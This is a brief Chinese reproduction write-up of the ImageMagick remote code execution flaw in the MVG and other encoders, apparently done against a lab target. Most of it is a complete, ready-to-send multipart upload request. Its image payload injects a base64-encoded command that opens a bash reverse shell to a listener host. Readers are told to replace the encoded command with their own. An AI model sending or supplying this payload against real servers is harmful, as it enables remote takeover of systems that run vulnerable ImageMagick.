漏洞背景
ImageMagick是美国ImageMagick Studio公司的一套开源的图象处理软件。该软件可读取、转换、写入多种格式的图片。 ImageMagick 6.9.3-10之前版本和7.0.1-1之前7.x版本的多个编码器(EPHEMERAL,HTTPS,MVG,MSL,TEXT,SHOW,WIN,PLT)中存在远程代码执行漏洞,该漏洞源于程序没有充分过滤用户传入的shell字符。攻击者可通过上传恶意的图像利用该漏洞执行任意代码,获取敏感信息。
漏洞复现
访问http://your-ip:8080/
即可查看到一个上传组件
我们直接反弹shell,先用nc监听端口:
发送数据包,执行反弹shell命令:
POST / HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymdcbmdQR1sDse9Et
Content-Length: 328
------WebKitFormBoundarymdcbmdQR1sDse9Et
Content-Disposition: form-data; name="file_upload"; filename="1.gif"
Content-Type: image/png
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg?`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzAuMTI4Lzk5OTkgMD4mMQ== | base64 -d | bash`"||id " )'
pop graphic-context
------WebKitFormBoundarymdcbmdQR1sDse9Et--
(反弹shell命令在base64
字符串内,自行更改)
发送数据包后,查看反弹shell